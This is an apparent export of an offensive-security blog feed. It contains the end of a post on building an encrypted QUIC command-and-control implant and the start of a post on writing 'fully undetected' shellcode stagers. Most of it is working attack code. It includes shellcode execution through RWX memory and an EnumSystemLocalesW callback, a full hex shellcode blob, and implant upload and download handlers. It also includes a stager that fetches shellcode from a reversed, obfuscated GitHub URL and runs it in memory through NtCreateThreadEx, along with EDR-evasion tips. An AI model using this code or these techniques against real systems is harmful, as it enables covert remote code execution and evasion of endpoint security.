<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 1. Allocate RWX memory for the shellcode
</span><span class="n">addr</span> <span class="o">=</span> <span class="n">kernel32</span><span class="p">.</span><span class="nc">VirtualAlloc</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="n">sz</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">)</span>

<span class="c1"># 2. Copy shellcode bytes into the allocated region
</span><span class="n">buf</span> <span class="o">=</span> <span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_ubyte</span> <span class="o">*</span> <span class="n">sz</span><span class="p">).</span><span class="nf">from_buffer_copy</span><span class="p">(</span><span class="n">shellcode_bytes</span><span class="p">)</span>
<span class="n">kernel32</span><span class="p">.</span><span class="nc">RtlMoveMemory</span><span class="p">(</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span> <span class="n">buf</span><span class="p">,</span> <span class="n">sz</span><span class="p">)</span>

<span class="c1"># 3. Pass the shellcode address as the callback — Windows calls it for us
</span><span class="n">kernel32</span><span class="p">.</span><span class="nc">EnumSystemLocalesW</span><span class="p">(</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>

<p>We use <code class="language-plaintext highlighter-rouge">RtlMoveMemory</code> instead of <code class="language-plaintext highlighter-rouge">ctypes.memmove</code> for the copy.  It really doesn’t matter, it’s just my personal preference.  😈</p>

<p>Now, the async wrinkle. Our encrypted c2 implant, or crudeRAT if you will, runs entirely inside an <code class="language-plaintext highlighter-rouge">asyncio</code> event loop. If we call <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> directly on the event loop thread and our shellcode blocks, then we would freeze the entire implant. No more commands, no keep-alive pings, nothing. So, we push shellcode execution into a thread pool via <code class="language-plaintext highlighter-rouge">run_in_executor</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">loop</span> <span class="o">=</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">get_event_loop</span><span class="p">()</span>
<span class="n">success</span> <span class="o">=</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">wait_for</span><span class="p">(</span>
    <span class="n">loop</span><span class="p">.</span><span class="nf">run_in_executor</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="n">call_enum</span><span class="p">),</span>
    <span class="n">timeout</span><span class="o">=</span><span class="mf">10.0</span>
<span class="p">)</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">wait_for</code> gives us a 10-second timeout. If the shellcode hasn’t returned by then we bail, free the memory, and report back. In practice, a working beacon payload will do its thing and the implant just continues running on the event loop thread independently. The shellcode spins up its own threads internally.  I’m more or less imitating an actual beacon payload…in a much more crude way lol.</p>

<p>One thing worth noting for defenders reading this: <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> with <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code> followed by <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> is a detectable sequence. A well-tuned EDR with kernel callbacks watching <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> and <code class="language-plaintext highlighter-rouge">NtProtectVirtualMemory</code> will light up on this. The improvement path from here is module stomping or reflective loading into already-executable memory.  Topics I’d love to dive into further in a future post (or a Learning Course Module, something I’m working on off and on in what spare time I have).😄</p>

<h3 id="using-shellcode-from-the-c2-client">Using Shellcode from the C2 Client</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">C2</span><span class="p">]</span> <span class="n">Command</span><span class="o">&gt;</span> <span class="n">send_shellcode</span> <span class="o">&lt;</span><span class="nb">hex</span><span class="o">-</span><span class="n">encoded</span> <span class="n">shellcode</span><span class="o">&gt;</span>
<span class="p">[</span><span class="n">IMPLANT</span><span class="p">]</span> <span class="n">Shellcode</span> <span class="n">executed</span> <span class="n">successfully</span>

<span class="n">For</span> <span class="n">instance</span><span class="p">,</span> <span class="n">the</span> <span class="n">following</span> <span class="n">will</span> <span class="n">execute</span> <span class="n">calc</span><span class="p">.</span><span class="n">exe</span> <span class="n">using</span> <span class="n">the</span> <span class="sb">`EnumSystemLocalesW`</span> <span class="n">API</span><span class="p">:</span>

<span class="p">[</span><span class="n">C2</span><span class="p">]</span> <span class="n">Command</span><span class="o">&gt;</span> <span class="n">send_shellcode</span> <span class="mi">4883</span><span class="n">ec284883e4f04831c965488b4160488b4018488b7010488b36488b36488b5e304989d88b5b3c4c01c34831c96681c1ff8848c1e9088b140b4c01c2448b52144d31db448b5a204d01c34c89d148b8646472657373909048c1e01048c1e8105048b847657450726f6341504889e067e32031db418b1c8b4c01c348ffc94c8b084c390b75e9448b480844394b08740375ddcc51415f49ffc74d31db448b5a1c4d01c3438b04bb4c01c050415f4d89fc4c89c74c89c14d89e64889f9b861649090c1e010c1e8105048b84578697454687265504889e24883ec3041ffd64883c4304989c54d89e64889f948b857696e4578656300504889e24883ec3041ffd64883c4304989c64883c408b8000000005048b863616c632e657865504889e1ba010000004883ec3041ffd631c941ffd5</span>
</code></pre></div></div>

<p>Generate your shellcode hex with whatever framework you prefer and paste it in. The implant handles the rest.</p>

<h3 id="keep-alive">Keep-Alive</h3>

<p>QUIC connections have an idle timeout — without traffic, the connection drops. We solve this with a background coroutine that sends a QUIC PING frame every 20 seconds:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">keep_alive</span><span class="p">(</span><span class="n">protocol</span><span class="p">):</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span>
        <span class="n">protocol</span><span class="p">.</span><span class="n">_quic</span><span class="p">.</span><span class="nf">send_ping</span><span class="p">(</span><span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">protocol</span><span class="p">.</span><span class="nf">transmit</span><span class="p">()</span>
</code></pre></div></div>

<p>Simple and effective.</p>

<hr />

<h2 id="the-c2-server-quicsvr3py"><strong><em>The C2 Server (quicsvr3.py)</em></strong></h2>

<p>The server uses <code class="language-plaintext highlighter-rouge">aioquic</code>’s <code class="language-plaintext highlighter-rouge">serve()</code> function and handles the same bidirectional stream from the other side.</p>

<h3 id="tls-setup">TLS Setup</h3>

<p>QUIC requires a certificate. Generate a self-signed one before running the server:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
</code></pre></div></div>

<p>The server loads it like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">config</span> <span class="o">=</span> <span class="nc">QuicConfiguration</span><span class="p">(</span><span class="n">is_client</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">alpn_protocols</span><span class="o">=</span><span class="p">[</span><span class="sh">"</span><span class="s">g3tsyst3m</span><span class="sh">"</span><span class="p">])</span>
<span class="n">config</span><span class="p">.</span><span class="nf">load_cert_chain</span><span class="p">(</span><span class="sh">"</span><span class="s">cert.pem</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">key.pem</span><span class="sh">"</span><span class="p">)</span>
<span class="n">config</span><span class="p">.</span><span class="n">max_idle_timeout</span> <span class="o">=</span> <span class="mi">600000</span>  <span class="c1"># 10 minutes
</span></code></pre></div></div>

<p>The implant sets <code class="language-plaintext highlighter-rouge">verify_mode = ssl.CERT_NONE</code> since it’s self-signed, but the TLS encryption itself is fully active.</p>

<h3 id="download-state-machine">Download State Machine</h3>

<p>This is the trickiest part of the server. On TCP you can just <code class="language-plaintext highlighter-rouge">recv(filesize)</code> in a loop. On QUIC, data arrives in <code class="language-plaintext highlighter-rouge">StreamDataReceived</code> events of arbitrary size. We use a state machine with three states:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_DL_IDLE</span>      <span class="o">=</span> <span class="sh">"</span><span class="s">idle</span><span class="sh">"</span>
<span class="n">_DL_WAIT_SIZE</span> <span class="o">=</span> <span class="sh">"</span><span class="s">wait_size</span><span class="sh">"</span>   <span class="c1"># waiting for filesize int from implant
</span><span class="n">_DL_RECV_DATA</span> <span class="o">=</span> <span class="sh">"</span><span class="s">recv_data</span><span class="sh">"</span>   <span class="c1"># receiving raw binary
</span></code></pre></div></div>

<p>When a download starts we flip to <code class="language-plaintext highlighter-rouge">_DL_WAIT_SIZE</code>. The first data that arrives is buffered until we can parse the filesize integer. Then we flip to <code class="language-plaintext highlighter-rouge">_DL_RECV_DATA</code> and feed everything into an open file handle until <code class="language-plaintext highlighter-rouge">received &gt;= filesize</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_write_dl_chunk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">data</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">):</span>
    <span class="n">remaining</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_filesize</span> <span class="o">-</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span>
    <span class="n">chunk</span>     <span class="o">=</span> <span class="n">data</span><span class="p">[:</span><span class="n">remaining</span><span class="p">]</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_dl_file</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span> <span class="o">+=</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span> <span class="o">&gt;=</span> <span class="n">self</span><span class="p">.</span><span class="n">_dl_filesize</span><span class="p">:</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_dl_file</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
        <span class="n">self</span><span class="p">.</span><span class="n">output_buffer</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">DOWNLOAD_DONE|</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">_dl_save_path</span><span class="si">}</span><span class="s">|</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">_dl_received</span><span class="si">}</span><span class="sh">"</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">_dl_reset</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="upload-stuff">Upload stuff</h3>

<p>Uploading files is satisfying because you get a proper progress bar 😸</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">local_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">,</span> <span class="nf">tqdm</span><span class="p">(</span><span class="n">total</span><span class="o">=</span><span class="n">filesize</span><span class="p">,</span> <span class="n">unit</span><span class="o">=</span><span class="sh">"</span><span class="s">B</span><span class="sh">"</span><span class="p">,</span> <span class="n">unit_scale</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
                                        <span class="n">desc</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">Uploading </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">pbar</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="nf">iter</span><span class="p">(</span><span class="k">lambda</span><span class="p">:</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">4096</span><span class="p">),</span> <span class="sa">b</span><span class="sh">''</span><span class="p">):</span>
        <span class="n">client</span><span class="p">.</span><span class="nf">send_raw</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
        <span class="n">pbar</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">chunk</span><span class="p">))</span>
        <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">await asyncio.sleep(0)</code> on each chunk yields back to the event loop so QUIC can actually flush the data. Without that yield you’d buffer the whole file before any of it goes out.</p>

<hr />

<h2 id="putting-it-all-together"><strong><em>Putting It All Together</em></strong></h2>

<iframe width="560" height="315" src="https://www.youtube.com/embed/5qOXDnNApRg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<hr />

<h2 id="improvements--things-to-keep-in-mind"><strong><em>Improvements / Things to Keep in Mind</em></strong></h2>

<ul>
  <li><strong>No persistence</strong>: The implant doesn’t install itself anywhere. You’d need to add that separately.</li>
  <li><strong>Shell output timing</strong>: The <code class="language-plaintext highlighter-rouge">await asyncio.sleep(0.5)</code> in the shell loop is a timing assumption. Long-running commands may need a longer sleep or a sentinel string like <code class="language-plaintext highlighter-rouge">:endofoutput:</code> (like we did in Part 2) for reliable output capture.</li>
  <li><strong>Single implant</strong>: The server only tracks one connected client at a time via <code class="language-plaintext highlighter-rouge">current_client</code>. Multi-implant support would need a proper client list like I do in my first python series.  This is more to demonstrate how to create an encrypted reverse shell / C2 implant.</li>
  <li><strong>ALPN string</strong> — <code class="language-plaintext highlighter-rouge">"g3tsyst3m"</code> is fine for a lab, but in a real pentest engagement your ALPN should blend in. <code class="language-plaintext highlighter-rouge">"h3"</code> (HTTP/3) would be far less conspicuous.</li>
</ul>

<hr />

<h2 id="wrapping-up"><strong><em>Wrapping Up</em></strong></h2>

<p>We covered a lot of ground today! QUIC gives us an encrypted, UDP-based connection with added stealth not always afforded for your standard c2 / reverse shell connection.  It’s also not commonly used for this purpose so we won’t be as heavily signatured.</p>

<p>Source code: <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-4-30-Building%20an%20Encrypted%20C2%20Implant%20Using%20QUIC">Python Server/Client Source Code</a></p>

<p>Stay tuned for the next post.  I’m likely going to visit Just in Time Shellcode execution next, so see you then!🦉</p>

<h2 id="bonus-content-for-members-all-membership-tiers"><strong><em>Bonus Content for Members! (All Membership Tiers)</em></strong></h2>

<p>🐍 Standalone Python Script that executes Calc.exe using EnumSystemLocalesW: <a href="https://ko-fi.com/s/a8ca3672b0">EnumSystemLocalesW w/ Python Standalone</a></p>

<p><img width="1584" height="858" alt="image" src="https://github.com/user-attachments/assets/1296221c-9f09-4df0-8914-e3d94d5b136e" /></p>

<hr />

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Encrypted Shell" /><category term="Initial Access" /><category term="Python" /><category term="Encryption" /><category term="Encrypted reverse shell" /><category term="C2" /><category term="rat" /><category term="implant" /><category term="QUIC" /><category term="2026" /><category term="g3tsyst3m" /><summary type="html"><![CDATA[Hey everyone! If you’ve been following the blog for a while, you’ll likely recall my python driven C2 series. Today we’re doing something a little different. We’re going to ditch TCP sockets entirely and build a C2 implant that communicates over QUIC. QUIC is an encrypted transport protocol that runs over UDP. If you’ve never heard of QUIC, buckle up, because it’s genuinely cool and increasingly relevant from an offensive security perspective. Let’s get into it!]]></summary></entry><entry><title type="html">Creative approaches to coding FUD Stagers</title><link href="https://g3tsyst3m.com/fud/Creative-approaches-to-coding-FUD-Stagers/" rel="alternate" type="text/html" title="Creative approaches to coding FUD Stagers" /><published>2026-03-29T00:00:00+00:00</published><updated>2026-03-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/fud/Creative%20approaches%20to%20coding%20FUD%20Stagers</id><content type="html" xml:base="https://g3tsyst3m.com/fud/Creative-approaches-to-coding-FUD-Stagers/"><![CDATA[<p>I have had several discussions over the years with folks on tackling EDR bypass as it pertains to fully undetected <code class="language-plaintext highlighter-rouge">(FUD)</code> code.  In my opinion, there isn’t really a perfect silver bullet approach to tackling FUD.  Especially with ML (machine learning) / AI integrated in most modern EDR solutions, you really have to adjust your approach to FUD as you go.  I will say that I truly believe script interpreter type languages such as Python, Ruby, Perl, even PHP, are great candidates to meet this need.  Scripting languages are not heavily scrutinized when we’re comparing with compiled (PE executable) code.  Now I can already hear the disgruntled offsec folks questioning my rationale when they have tried countless times to make their powershell and javascript/vbscript code into FUD worthy code.  I get it and I’m with you.  It’s not a one size fits all right?  Powershell, while also a script interpreter type language, has been so abused by threat actors that it’s incredibly difficult to tackle FUD due to its prolific use in malicious campaigns, but it’s certainly not impossible.  Let’s get to it!</p>

<h2 id="fud-stager-variant-1">FUD Stager Variant #1</h2>

<p><strong>High Level Overview for The First Stager Concept</strong></p>

<ul>
  <li>Construct a URL via string reversal to obscure its destination (SCODE_U[::-1])</li>
  <li>Download raw shellcode from that URL</li>
  <li>Allocate RWX memory via NtAllocateVirtualMemory (NT-layer to dodge API monitoring)</li>
  <li>Copy shellcode into that region</li>
  <li>Execute it via NtCreateThreadEx, evasion-motivated</li>
  <li>API names are obfuscated via string reversal throughout the code (_api, _api2, etc.)</li>
</ul>

<p><strong>In brief:</strong> This is a simple dropper/stager that downloads and executes shellcode in-memory, and avoids writing anything to disk.</p>

<h2 id="part-1---bypassing-static-analysis-overview">Part 1 - Bypassing Static Analysis Overview</h2>

<p>The initial approach I usually take is to use simple yet effective techniques to help prevent familiar static analysis detection.  For starters, I want to:</p>

<ul>
  <li>Avoid string detection for APIs we will use in the code</li>
  <li>Rename and/or shorten the name of familiar offsec terms used throughout our code like shellcode -&gt; scode, download shellcode -&gt; dwnlod_scode, and so on.</li>
  <li>Reverse our variable names and other strings used in our code and correct them at time of execution
    <ul>
      <li><strong>_api</strong> = “yromeMlautriVetacollAtN”</li>
      <li><strong>SCODE_U</strong> = “onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth”</li>
    </ul>
  </li>
</ul>

<p><strong>Why string detection matters</strong></p>

<p>Most static analysis engines, whether signature-based or ML-assisted, are doing some form of token scoring. Strings like <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">CreateThread</code>, <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code>, and <code class="language-plaintext highlighter-rouge">shellcode</code> carry heavy malicious weight in any trained model. They show up constantly in malware samples, so their mere presence pushes a file’s score upward fast. The goal isn’t to be invisible, it’s to stay below the threshold that triggers a block or quarantine action.</p>

<p>Reversing our API strings and resolving them at runtime is about as low-effort as obfuscation gets, and I like low effort code. 😈  It works because static analysis by definition can’t execute your code to unwind it. An engine scanning bytes on disk sees <code class="language-plaintext highlighter-rouge">"yromeMlautriVetacollAtN"</code> — an unrecognized string that scores essentially zero on its own. 😸</p>

<p><strong>Variable names Matter!</strong></p>

<p>This one is almost embarrassingly simple, but don’t underestimate it. Variable names, function names, and comments all end up as strings in your source or bytecode. A function called download_shellcode is a gift to any analyst or automated scanner. dwnlod_scode isn’t clever enough to fool a human analyst for long, but you’re not trying to fool a human analyst at static analysis time — you’re trying to slip past automated pre-execution scoring.</p>

<h2 id="part-2---downloading-the-shellcode-in-memory">Part 2 - Downloading the Shellcode in Memory</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>  
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>  <span class="c1"># Stream for large files 
</span>        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>  <span class="c1"># Load fully into bytes
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Dwnlded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes of scode</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Dwnld failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<p>In the code above is pretty straightforward.  My shellcode is located in a file that resides on my Github repo and I’ve reversed the URL string to thwart static analysis efforts.  I’ve also renamed the file extension to something random, in this case <code class="language-plaintext highlighter-rouge">.dyno</code> as that is not a typical windows file extension and it will not receive as much scrutiny as say a <code class="language-plaintext highlighter-rouge">.bin</code> file extension.  Finally, we return the bytes of the shellcode we just downloaded in the shel_ly variable.</p>

<h2 id="part-3---eggsecuting-shellcode-in-memory-">Part 3 - Eggsecuting Shellcode in Memory 🥚</h2>

<p>I always like to keep things simple to start, just to see how much I can get away with before detection 😸  In this case, I was able to avoid using advanced methods such as Syscalls and/or further advanced techniques to inject our shellcode and the code remained undetected.  I didn’t keep things so simple as to still use the basic kernel32 APIs though. 😏  Instead, we will be making use of the low level NT APIs to help increase our chances of success as far as code exection without detection.</p>

<blockquote>
  <p>Here’s how everything is laid out in the <code class="language-plaintext highlighter-rouge">eggsecute_scode</code> function:</p>
</blockquote>

<p><strong>Obfuscated Windows API calls</strong></p>

<p>Our code uses string reversal once again to hide the real API names from simple string scanners:</p>

<ul>
  <li>“eldnaHesolC”[::-1] → CloseHandle</li>
  <li>“tcejbOelgniSroFtiaW”[::-1] → WaitForSingleObject</li>
  <li>“yromeMlautriVetacollAtN”[::-1] → NtAllocateVirtualMemory</li>
  <li>“xEdaerhTetaerCtN”[::-1] → NtCreateThreadEx</li>
  <li>“evommem”[::-1] → memmove</li>
</ul>

<p><strong>Allocating executable memory using NT APIs</strong></p>

<p>We use <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> (our low-level kernel32 API equivalent from ntdll) to request a block of memory in the current process with these familiar permissions:</p>

<blockquote>
  <table>
    <tbody>
      <tr>
        <td>MEM_COMMIT</td>
        <td>MEM_RESERVE</td>
      </tr>
    </tbody>
  </table>

  <p>PAGE_EXECUTE_READWRITE (RWX — readable, writable, and executable)</p>
</blockquote>

<p>This is as basic as it gets as far as demonstrating a classic allocation of RWX memory</p>

<p><strong>Copy the shellcode into memory and Execute it!</strong></p>

<p>We now use memmove to copy the previously downloaded shellcode bytes directly into the newly allocated executable memory region.  Finally, as is typical in standard shellcode execution convention, we create a thread to run our shellcode.</p>

<p>We will use the low level <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> API to spawn a new thread inside our current process, with the starting address set to the beginning of the shellcode. Lastly, we wait up to 10 seconds for the thread to finish (<code class="language-plaintext highlighter-rouge">WaitForSingleObject</code>) and then close the thread handle.</p>

<p>Here’s what that entire function looks like in terms of code:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode2</span><span class="p">):</span>
    <span class="c1"># Constants
</span>    <span class="n">MEM_COMMIT</span> <span class="o">=</span> <span class="mh">0x1000</span>
    <span class="n">MEM_RESERVE</span> <span class="o">=</span> <span class="mh">0x2000</span>
    <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="n">kernel32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
    <span class="n">ntdll</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span>
    
    <span class="n">_api4</span> <span class="o">=</span> <span class="sh">"</span><span class="s">eldnaHesolC</span><span class="sh">"</span>
    <span class="n">closingtime</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api4</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">closingtime</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">closingtime</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="p">]</span>
    
    <span class="n">_api3</span> <span class="o">=</span> <span class="sh">"</span><span class="s">tcejbOelgniSroFtiaW</span><span class="sh">"</span>
    <span class="n">waitinaround</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api3</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>   <span class="c1"># dwMilliseconds
</span>    <span class="p">]</span>
    
    <span class="n">_api</span> <span class="o">=</span> <span class="sh">"</span><span class="s">yromeMlautriVetacollAtN</span><span class="sh">"</span>  <span class="c1"># 
</span>    <span class="n">Allocator</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">Allocator</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">BOOL</span>
    <span class="n">Allocator</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">LPVOID</span><span class="p">),</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">),</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="p">]</span>
    
    <span class="n">_api2</span> <span class="o">=</span> <span class="sh">"</span><span class="s">xEdaerhTetaerCtN</span><span class="sh">"</span>
    <span class="n">thred_the_needle</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api2</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">LONG</span>  <span class="c1"># NTSTATUS
</span>    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">),</span>   <span class="c1"># ThredHandel (out)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># DesiredAccess
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># ObjectAttributes
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>                   <span class="c1"># ProcessHandle
